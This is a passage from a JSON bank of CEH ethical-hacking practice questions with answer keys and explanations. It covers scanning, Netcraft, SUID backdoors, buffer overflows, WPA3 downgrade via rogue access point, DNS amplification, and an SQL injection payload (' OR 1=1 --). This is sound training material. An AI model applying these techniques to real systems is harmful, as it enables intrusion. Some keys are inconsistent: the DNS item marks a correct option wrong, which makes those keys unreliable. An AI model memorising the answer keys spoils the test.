the service, banner grabbing can reveal additional details like patch levels or configuration quirks that version detection might miss.","examTrap":"EC-Council often tests the misconception that SNMP, DNS zone transfers, or NetBIOS enumeration are universally applicable, but the trap here is that these techniques only work when the corresponding services are actually running and accessible — the question explicitly limits open ports to 22, 80, and 443, so only banner grabbing on those ports is directly actionable.","examTip":null,"technicalDeepDive":"Banner grabbing on SSH (port 22) often reveals the exact version string, such as 'SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u7'. This string can be used to search for specific CVEs (e.g., CVE-2018-15473 for OpenSSH user enumeration) or to identify outdated versions vulnerable to known exploits. In contrast, version detection via Nmap (-sV) may sometimes misidentify or generalize the version, making manual banner grabbing a more reliable method for precise vulnerability mapping.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-30T18:02:28.436+00:00","questionType":"multiple_choice"},{"id":"571463a3-bc73-430f-a3aa-c258bd5da37b","slug":"a-penetration-tester-runs-the-following-command-masscan-10-nsvug","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"A penetration tester runs the following command: masscan 10.0.0.0/24 -p80,443,8080 --rate=10000. Compared to Nmap, what is the PRIMARY advantage of using Masscan for this scan?","difficulty":"medium","domain":"Footprinting, Reconnaissance and Scanning","domainSlug":"ceh-recon-scanning","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":true,"text":"Masscan can scan a large number of hosts and ports at very high speed","explanation":"Masscan's main advantage is its speed. It can scan large ranges quickly, as indicated by the high rate.","masteryContext":""},{"key":"B","isCorrect":false,"text":"Masscan provides more detailed service version detection than Nmap","explanation":"Masscan is primarily a port scanner; it does not have version detection capabilities like Nmap's -sV.","masteryContext":""},{"key":"C","isCorrect":false,"text":"Masscan is stealthier than Nmap and less likely to be detected","explanation":"Masscan's high-speed scanning can actually be more noisy and easier to detect. Nmap's decoy and timing options can be stealthier.","masteryContext":""},{"key":"D","isCorrect":false,"text":"Masscan can scan all 65535 ports faster than Nmap","explanation":"While Masscan is faster, the command only scans three ports, not all ports. The statement is true but not specific to this command.","masteryContext":""}],"correctOptionKey":"A","correctOptions":["A"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"Masscan is designed for asynchronous, high-speed scanning, capable of transmitting packets at rates exceeding 10 million packets per second. In this command, the `--rate=10000` parameter sets a transmission rate of 10,000 packets per second, allowing it to scan the entire 10.0.0.0/24 subnet (256 hosts) for three ports in a fraction of the time Nmap would require. Nmap, while feature-rich, operates synchronously by default and cannot match Masscan's raw packet throughput for large-scale port scanning.","examTrap":"EC-Council often tests the misconception that Masscan is stealthier than Nmap, but in reality, its high packet rate makes it more detectable, and the trap here is that candidates confuse speed with stealth.","examTip":null,"technicalDeepDive":"Masscan uses a custom TCP/IP stack and asynchronous I/O to send packets without waiting for responses, achieving speeds that can saturate a 10 Gbps link. It operates at the raw socket level, bypassing the kernel's TCP stack, which allows it to maintain state for millions of concurrent connections. In real-world penetration tests, Masscan is often used for initial broad reconnaissance to quickly identify live hosts and open ports, followed by Nmap for detailed service enumeration on the discovered targets.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-30T18:02:29.342+00:00","questionType":"multiple_choice"},{"id":"71e230ab-014f-4c2b-99e3-266944b9adbf","slug":"which-three-of-the-following-are-valid-pieces-of-information-10fpy","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"Which THREE of the following are valid pieces of information that can be gathered from a properly configured Netcraft site report? (Select exactly 3.)","difficulty":"hard","domain":"Footprinting and Reconnaissance","domainSlug":"footprinting-recon","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"Internal IP addresses of the servers","explanation":"Netcraft shows public IP.","masteryContext":""},{"key":"B","isCorrect":true,"text":"Hosting provider and country","explanation":"Netcraft shows hosting location.","masteryContext":""},{"key":"C","isCorrect":true,"text":"Site's first seen date and uptime history","explanation":"Netcraft tracks history.","masteryContext":""},{"key":"D","isCorrect":true,"text":"Web server software and version","explanation":"Netcraft identifies server info.","masteryContext":""},{"key":"E","isCorrect":false,"text":"Employee email addresses","explanation":"Netcraft does not provide emails.","masteryContext":""}],"correctOptionKey":"B,C,D","correctOptions":["B","C","D"],"correctAnswerText":"","isMultiSelect":true,"mainExplanation":"Netcraft site reports are derived from external, public-facing data sources, including DNS records, HTTP response headers, and historical crawl data. The hosting provider and country are identified by mapping the site's public IP address to WHOIS and BGP routing information, which is a standard part of Netcraft's passive reconnaissance.","examTrap":"EC-Council often tests the distinction between passive reconnaissance (which yields only public information) and active reconnaissance (which might reveal internal details), leading candidates to mistakenly assume that internal IPs or employee emails are obtainable from a public site report.","examTip":null,"technicalDeepDive":"Netcraft's 'Site Report' tool performs a series of passive probes, including an HTTP GET request to capture the Server header (e.g., 'Apache/2.4.41') and a DNS lookup to resolve the domain to its public IP. The 'first seen' date is derived from Netcraft's historical crawl database, which tracks when the site was first observed, while uptime history is calculated from periodic availability checks. This data is invaluable for identifying technology stacks and infrastructure changes over time.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-30T18:02:27.84+00:00","questionType":"multi_select"},{"id":"02c48ff5-cf2d-40de-bdac-ec599dcedf9e","slug":"an-ethical-hacker-wants-to-discover-subdomains-of-a-target-d-3f9j3","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"An ethical hacker wants to discover subdomains of a target domain using only public information. Which of the following techniques is MOST effective?","difficulty":"easy","domain":"Footprinting and Reconnaissance","domainSlug":"footprinting-recon","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"Run a traceroute to the main domain","explanation":"Traceroute shows path, not subdomains.","masteryContext":""},{"key":"B","isCorrect":false,"text":"Check the WHOIS record for the domain","explanation":"WHOIS does not contain subdomain info.","masteryContext":""},{"key":"C","isCorrect":true,"text":"Use the site: operator in search engines","explanation":"Search engines index subdomains.","masteryContext":""},{"key":"D","isCorrect":false,"text":"Perform a reverse DNS lookup on the target IP range","explanation":"Reverse lookup may not list all subdomains.","masteryContext":""}],"correctOptionKey":"C","correctOptions":["C"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"The `site:` operator in search engines (e.g., Google) allows an ethical hacker to enumerate publicly indexed subdomains of a target domain by querying `site:*.targetdomain.com`. This technique leverages the search engine's crawl data to discover subdomains that are publicly accessible but may not be linked from the main site, making it the most effective method for passive, public-information-only reconnaissance.","examTrap":"EC-Council often tests the misconception that WHOIS records contain subdomain information, but WHOIS only holds domain registration data, not DNS resource records like A or CNAME entries for subdomains.","examTip":null,"technicalDeepDive":"Search engines like Google use web crawlers to index pages and their subdomains; the `site:` operator filters results to a specific domain, and the wildcard `*` can match any subdomain prefix. This technique is part of OSINT (Open Source Intelligence) and can uncover subdomains that are not linked from the main site but are still indexed, such as staging or development subdomains. However, it may miss subdomains that are not crawled (e.g., those behind authentication or with noindex directives).","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-30T18:02:28.598+00:00","questionType":"multiple_choice"},{"id":"aa0ef89f-4f97-4c96-a342-fbdb93a28768","slug":"a-security-analyst-observes-a-suspicious-suid-binary-usr-bi-10ijd","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"A security analyst observes a suspicious SUID binary /usr/bin/evil in a Linux system. Which type of vulnerability does this indicate, and what is the MOST likely objective of an attacker who placed it?","difficulty":"medium","domain":"Enumeration and System Hacking","domainSlug":"ceh-enum-system-hacking","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"Information disclosure; read sensitive files","explanation":"While a SUID binary could be used to read files, the primary objective is privilege escalation.","masteryContext":""},{"key":"B","isCorrect":true,"text":"Privilege escalation; gain root access","explanation":"SUID binaries allow execution with elevated permissions; a root-owned SUID binary can be used to escalate to root.","masteryContext":""},{"key":"C","isCorrect":false,"text":"Denial of service; crash the system","explanation":"SUID binaries are not typically used for denial of service; they are used for privilege escalation.","masteryContext":""},{"key":"D","isCorrect":false,"text":"Buffer overflow; execute arbitrary code","explanation":"A buffer overflow is a different type of vulnerability; SUID abuse is about privilege escalation through setuid bits.","masteryContext":""}],"correctOptionKey":"B","correctOptions":["B"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"A SUID binary owned by root that is not part of the standard OS distribution (like /usr/bin/evil) is a classic indicator of a privilege escalation backdoor. The SUID bit allows any user who executes the binary to run it with the owner's permissions—in this case, root—so the attacker's objective is to gain root access by executing this binary.","examTrap":"EC-Council often tests the distinction between a vulnerability (like a buffer overflow) and an indicator of a completed exploit (like a SUID binary), causing candidates to confuse the attack vector with the attacker's objective.","examTip":null,"technicalDeepDive":"The SUID (Set User ID) permission bit (chmod u+s) causes the process to run with the effective UID of the file owner, not the executing user. Attackers often compile a simple C program (e.g., system(\"/bin/sh\")) and set its SUID bit to root, creating a persistent backdoor. In real-world scenarios, this is commonly found after an attacker gains initial foothold and then escalates to root, leaving the binary for later re-entry.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-30T18:02:29.587+00:00","questionType":"multiple_choice"},{"id":"f779cff0-c2ff-404d-ad73-826229b2008b","slug":"which-three-of-the-following-are-common-indicators-of-a-buff-edllc","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"Which THREE of the following are common indicators of a buffer overflow vulnerability?","difficulty":"medium","domain":"Vulnerability Analysis and System Hacking","domainSlug":"vuln-analysis-hacking","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":true,"text":"Unexpected program crashes or segmentation faults","explanation":"Crashes often occur when memory is corrupted.","masteryContext":""},{"key":"B","isCorrect":true,"text":"Access violation errors when writing to memory","explanation":"Writing beyond buffer boundaries causes violations.","masteryContext":""},{"key":"C","isCorrect":false,"text":"Use of return-oriented programming (ROP)","explanation":"ROP is an exploitation technique, not an indicator.","masteryContext":""},{"key":"D","isCorrect":false,"text":"High CPU usage","explanation":"High CPU usage is not specific to buffer overflow.","masteryContext":""},{"key":"E","isCorrect":true,"text":"Overwritten adjacent memory regions","explanation":"Buffer overflow overwrites adjacent memory.","masteryContext":""}],"correctOptionKey":"A,B,E","correctOptions":["A","B","E"],"correctAnswerText":"","isMultiSelect":true,"mainExplanation":"A is correct because buffer overflow vulnerabilities often cause unexpected program crashes or segmentation faults. When a program writes data beyond the allocated buffer size, it can corrupt the stack or heap, leading to invalid memory access that the operating system detects and terminates with a segmentation fault (SIGSEGV). This is a classic symptom of overwritten return addresses or other critical control data.","examTrap":"The trap here is that candidates confuse exploitation techniques (like ROP) with vulnerability indicators, but ROP is a post-exploitation method, not a sign that a buffer overflow exists.","examTip":null,"technicalDeepDive":"Buffer overflows exploit the lack of bounds checking in languages like C/C++ where functions such as strcpy(), gets(), or sprintf() do not validate input length. Under the hood, overwriting adjacent memory regions (option E) can corrupt the saved return address on the stack, allowing an attacker to redirect execution to arbitrary code. In real-world scenarios, the Morris Worm (1988) used a buffer overflow in the fingerd service to propagate, demonstrating how a single unchecked input can compromise entire networks.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-11T07:11:05+00:00","questionType":"multi_select"},{"id":"55b853f8-4f6c-4c0b-8e82-32f3b940f06a","slug":"you-are-conducting-a-security-assessment-and-need-to-map-the-ya01x","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"You are conducting a security assessment and need to map the network topology and identify routers, firewalls, and other network devices. Which technique is specifically designed to discover the path packets take to reach a destination and can reveal intermediate devices?","difficulty":"easy","domain":"Scanning Networks and Enumeration","domainSlug":"scanning-enumeration","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":true,"text":"Traceroute","explanation":"Traceroute increments TTL to get ICMP time-exceeded messages from routers, revealing the path.","masteryContext":""},{"key":"B","isCorrect":false,"text":"Banner grabbing","explanation":"Banner grabbing identifies services, not network topology.","masteryContext":""},{"key":"C","isCorrect":false,"text":"DNS enumeration","explanation":"DNS enumeration reveals hostnames and IPs but not the network path.","masteryContext":""},{"key":"D","isCorrect":false,"text":"SNMP walk","explanation":"SNMP walk retrieves MIB data, not routing paths.","masteryContext":""}],"correctOptionKey":"A","correctOptions":["A"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"Traceroute is the correct technique because it is specifically designed to map the path packets take from a source to a destination by manipulating the Time-to-Live (TTL) field in IP headers. As each hop decrements the TTL, routers along the path send ICMP Time Exceeded messages (or UDP responses in some implementations), revealing their IP addresses and thus identifying intermediate devices like routers and firewalls.","examTrap":"The trap here is that candidates often confuse traceroute with ping (which only tests reachability and RTT, not hop-by-hop path discovery) or assume banner grabbing can reveal network topology, but only traceroute systematically identifies each intermediate device along the route.","examTip":null,"technicalDeepDive":"Traceroute works by sending packets with incrementing TTL values (starting at 1); the first router decrements TTL to 0 and replies with an ICMP Time Exceeded message (Type 11, Code 0), revealing its IP. On Windows, traceroute uses ICMP Echo Requests, while on Linux/macOS it typically uses UDP packets to high ports, causing routers to send ICMP Time Exceeded and the destination to send ICMP Port Unreachable. In real-world scenarios, firewalls may block ICMP or UDP traceroute, so TCP-based traceroute (e.g., using SYN packets to port 80) can bypass such filters to map the path.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-11T07:17:19.998+00:00","questionType":"multiple_choice"},{"id":"f203f7d3-54df-459f-82f7-78cc886f0cb0","slug":"refer-to-the-exhibit-during-a-wireless-audit-you-capture-a-gspr9","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"Refer to the exhibit. During a wireless audit, you capture a beacon frame from a corporate access point. What is the most significant security concern based on this information?","difficulty":"hard","domain":"Wireless, IoT and Cloud Security","domainSlug":"wireless-iot-cloud","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"The pairwise cipher is CCMP, which is outdated.","explanation":"CCMP is secure and current.","masteryContext":""},{"key":"B","isCorrect":false,"text":"The network uses WPA2-PSK, which is easily cracked.","explanation":"PSK is not inherently vulnerable.","masteryContext":""},{"key":"C","isCorrect":false,"text":"The beacon frame reveals the BSSID, which is a security risk.","explanation":"BSSID is publicly broadcast.","masteryContext":""},{"key":"D","isCorrect":true,"text":"The group cipher is TKIP, which is deprecated and vulnerable.","explanation":"TKIP should not be used.","masteryContext":""}],"correctOptionKey":"D","correctOptions":["D"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"Option D is correct because TKIP (Temporal Key Integrity Protocol) is a deprecated encryption protocol that was part of the original WPA standard. It is vulnerable to several attacks, including the Michael attack and the Beck-Tews attack, which can allow an attacker to decrypt traffic or inject packets. In a modern WPA2 network, TKIP should never be used as the group cipher; only CCMP (AES) is considered secure.","examTrap":"The trap here is that candidates often assume WPA2-PSK is inherently insecure (Option B) or that revealing the BSSID is a risk (Option C), but the real security flaw in this scenario is the use of TKIP as the group cipher, which is deprecated and known to be broken.","examTip":null,"technicalDeepDive":"TKIP uses a 128-bit per-packet key mixing mechanism and a 64-bit Michael Message Integrity Check (MIC), but both have known weaknesses. The Michael algorithm can be exploited via a 'MIC failure' attack, and an attacker can recover the MIC key after observing about 10,000 packets. In a mixed-mode WPA2 network (TKIP + CCMP), the group cipher is used for broadcast and multicast traffic, so if TKIP is the group cipher, all broadcast traffic is vulnerable even if unicast uses CCMP.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":"Refer to the exhibit.\n\n```\nWireless Capture: Beacon Frame\nSSID: CorpNet\nSecurity: WPA2-PSK\nBSSID: 00:11:22:33:44:55\nChannel: 6\nRSN Information:\n Pairwise Ciphers: CCMP\n Group Cipher: TKIP\n```","exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-11T07:20:31.196+00:00","questionType":"multiple_choice"},{"id":"15d5f3ad-976a-4dc1-905b-3bd0f3339c42","slug":"during-a-penetration-test-of-a-corporate-wireless-network-y-u4n2s","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"During a penetration test of a corporate wireless network, you capture a WPA2 handshake and successfully recover the PSK. Later, you notice that some clients are using WPA3-Personal. Which attack could be used to downgrade a WPA3 client to WPA2 and capture its handshake?","difficulty":"hard","domain":"Wireless, IoT and Cloud Security","domainSlug":"wireless-iot-cloud","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"Perform a PMKID attack on the WPA3 client to capture the handshake.","explanation":"PMKID attack is for WPA2.","masteryContext":""},{"key":"B","isCorrect":false,"text":"Use a WPS PIN brute-force attack against the WPA3 client.","explanation":"WPS is separate from WPA3.","masteryContext":""},{"key":"C","isCorrect":false,"text":"Send deauthentication packets to the WPA3 client and capture the reconnection handshake.","explanation":"Deauth alone does not downgrade.","masteryContext":""},{"key":"D","isCorrect":true,"text":"Set up a rogue access point broadcasting a WPA2 network with the same SSID, forcing the client to reconnect using WPA2.","explanation":"Rogue AP can entice client to downgrade.","masteryContext":""}],"correctOptionKey":"D","correctOptions":["D"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"Option D is correct because WPA3 clients are designed to fall back to WPA2 when the access point only supports WPA2. By setting up a rogue AP with the same SSID but configured for WPA2, the client will attempt to connect using WPA2, allowing you to capture the 4-way handshake and potentially recover the PSK if the same password is used for both security modes.","examTrap":"EC-Council often tests the misconception that deauthentication alone can force a protocol downgrade, but in WPA3, deauthentication only triggers a reconnection using the same security protocol unless the AP changes its capabilities.","examTip":null,"technicalDeepDive":"WPA3-Personal uses Simultaneous Authentication of Equals (SAE) handshake, which is resistant to offline dictionary attacks, but many clients implement a transition mode where they will connect to a WPA2 network with the same SSID if WPA3 is unavailable. The attack exploits this by creating a rogue AP that only offers WPA2, causing the client to perform a 4-way handshake that can be captured and cracked offline if the PSK is shared between the two modes. In real-world scenarios, enterprise networks often use the same passphrase for both WPA2 and WPA3 to maintain backward compatibility, making this downgrade attack effective.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-30T18:02:28.751+00:00","questionType":"multiple_choice"},{"id":"ea3c143a-4067-4403-9653-abaf306166ea","slug":"an-attacker-sends-a-tcp-syn-packet-to-a-port-and-receives-a-nqgca","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"An attacker sends a TCP SYN packet to a port and receives a TCP RST packet in response. According to Nmap's port state classification, what is the state of this port?","difficulty":"hard","domain":"Footprinting, Reconnaissance and Scanning","domainSlug":"ceh-recon-scanning","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"Filtered","explanation":"Filtered means no response or ICMP unreachable.","masteryContext":""},{"key":"B","isCorrect":false,"text":"Unfiltered","explanation":"Unfiltered means the port is accessible but state unknown; Nmap uses this for ACK scans.","masteryContext":""},{"key":"C","isCorrect":true,"text":"Closed","explanation":"A closed port responds with RST.","masteryContext":""},{"key":"D","isCorrect":false,"text":"Open","explanation":"An open port would respond with SYN/ACK.","masteryContext":""}],"correctOptionKey":"C","correctOptions":["C"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"When Nmap sends a TCP SYN packet to a port and receives a TCP RST packet in response, it indicates that the port is reachable but no service is listening on it. Per RFC 793, a RST is sent when a SYN arrives on a closed port, so Nmap classifies this port as 'closed'.","examTrap":"EC-Council often tests the misconception that a RST response means the port is 'filtered' or 'open', but the correct interpretation per Nmap's classification is that a RST directly indicates a 'closed' port.","examTip":null,"technicalDeepDive":"In a TCP SYN scan (-sS), Nmap sends a SYN packet and waits for a response. A RST packet is generated by the target's TCP stack when no application is bound to the port, as per RFC 793 Section 3.4. This behavior is consistent even if the target is behind a stateful firewall that permits outbound RSTs, though some firewalls may spoof RSTs to confuse scanners. Understanding this distinction is critical for accurate port state mapping.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-30T18:02:29.301+00:00","questionType":"multiple_choice"},{"id":"442b4f3f-9a40-4326-9f47-cb1a5403cabc","slug":"during-footprinting-a-tester-finds-that-the-target-s-dns-se-iajhj","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"During footprinting, a tester finds that the target's DNS server allows recursive queries from the internet. What is the MOST significant security implication of this finding?","difficulty":"medium","domain":"Footprinting and Reconnaissance","domainSlug":"footprinting-recon","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"Unauthorized zone transfers are possible","explanation":"Zone transfer requires AXFR, not recursion.","masteryContext":""},{"key":"B","isCorrect":false,"text":"The DNS server can be used for denial of service (amplification)","explanation":"Option C is more general; D is specific but correct.","masteryContext":""},{"key":"C","isCorrect":false,"text":"The DNS cache can be poisoned easily","explanation":"Cache poisoning is separate from recursion.","masteryContext":""},{"key":"D","isCorrect":true,"text":"The DNS server can be used for denial of service","explanation":"Open recursion enables amplification DDoS.","masteryContext":""}],"correctOptionKey":"D","correctOptions":["D"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"Option D is correct because a DNS server that allows recursive queries from the internet can be exploited in a DNS amplification attack, a type of denial-of-service (DoS) attack. The attacker sends a small query with a spoofed source IP (the victim's IP) to the open recursive resolver, which responds with a much larger response (e.g., using the ANY record type), amplifying traffic up to 50-100 times. This floods the victim's network, making the DNS server an unwitting participant in the attack.","examTrap":"The trap here is that candidates confuse 'recursive queries' with 'zone transfers' or 'cache poisoning,' but the CEH exam specifically tests that open recursive resolvers are most critically used for DNS amplification DoS attacks, not for other DNS misconfigurations.","examTip":null,"technicalDeepDive":"In a DNS amplification attack, the attacker sends a small query (e.g., 60 bytes) for the ANY record type to an open recursive resolver, which responds with a large response (e.g., 4000 bytes). The response is sent to the spoofed victim IP, and with many such queries, the victim's bandwidth is saturated. Real-world examples include the 2016 DDoS attack on Dyn DNS, where open resolvers were used to amplify traffic, reaching over 1 Tbps.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-11T07:16:23.463+00:00","questionType":"multiple_choice"},{"id":"a9eecb03-6da7-4fa1-95d2-f702eaa29e39","slug":"which-two-of-the-following-are-common-web-application-vulner-jfnv8","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"Which TWO of the following are common web application vulnerabilities that allow an attacker to inject malicious code? (Select exactly 2)","difficulty":"easy","domain":"Network and Web Application Attacks","domainSlug":"network-webapp-attacks","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"Brute Force","explanation":"Brute force is a password guessing attack.","masteryContext":""},{"key":"B","isCorrect":true,"text":"Cross-Site Scripting (XSS)","explanation":"XSS injects client-side scripts.","masteryContext":""},{"key":"C","isCorrect":false,"text":"Path Traversal","explanation":"Path traversal accesses files but does not inject code.","masteryContext":""},{"key":"D","isCorrect":true,"text":"SQL Injection","explanation":"SQL injection injects SQL queries.","masteryContext":""},{"key":"E","isCorrect":false,"text":"Cross-Site Request Forgery (CSRF)","explanation":"CSRF is not an injection attack.","masteryContext":""}],"correctOptionKey":"B,D","correctOptions":["B","D"],"correctAnswerText":"","isMultiSelect":true,"mainExplanation":"Cross-Site Scripting (XSS) is a common web application vulnerability that allows an attacker to inject malicious client-side scripts (typically JavaScript) into web pages viewed by other users. This occurs when an application includes untrusted data in a web page without proper validation or escaping, enabling the attacker to execute arbitrary code in the victim's browser within the context of the trusted site.","examTrap":"The trap here is that candidates often confuse Cross-Site Request Forgery (CSRF) with an injection vulnerability, but CSRF does not inject code into the application; it forges requests using the victim's authenticated session, whereas XSS and SQL Injection directly inject malicious code (scripts or SQL commands) into the application's execution context.","examTip":null,"technicalDeepDive":"In XSS, the injected script runs in the victim's browser with the same origin as the vulnerable site, allowing it to access cookies, session tokens, and other sensitive data via the Document Object Model (DOM). SQL Injection exploits improper sanitization of user input in SQL queries, allowing an attacker to manipulate database commands (e.g., appending ' OR 1=1 --) to bypass authentication or extract data. Both vulnerabilities stem from failing to treat user-supplied data as untrusted and not using parameterized queries or output encoding.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-11T07:13:28.272+00:00","questionType":"multi_select"},{"id":"7ff6c379-3d01-4de4-bfa9-6592ed8f6609","slug":"which-malware-analysis-approach-involves-running-the-suspici-6ukx5","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"Which malware analysis approach involves running the suspicious file in a controlled environment to observe its behavior?","difficulty":"easy","domain":"Malware, Social Engineering and Network Attacks","domainSlug":"ceh-malware-social-network","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":true,"text":"Dynamic analysis","explanation":"Dynamic analysis involves execution to observe runtime behavior.","masteryContext":""},{"key":"B","isCorrect":false,"text":"Code review","explanation":"Code review is a manual examination of source code.","masteryContext":""},{"key":"C","isCorrect":false,"text":"Signature detection","explanation":"Signature detection matches known patterns, not behavior.","masteryContext":""},{"key":"D","isCorrect":false,"text":"Static analysis","explanation":"Static analysis examines the file without executing it.","masteryContext":""}],"correctOptionKey":"A","correctOptions":["A"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"Dynamic analysis is the correct approach because it involves executing the suspicious file in a controlled, isolated environment (such as a sandbox or virtual machine) to monitor its runtime behavior, including file system changes, registry modifications, network connections, and process injections. This allows analysts to observe actual malicious actions without risking the production environment, making it essential for understanding zero-day threats and obfuscated malware that static analysis might miss.","examTrap":"EC-Council often tests the misconception that static analysis is sufficient for all malware types, but the trap here is that candidates confuse 'static analysis' (which 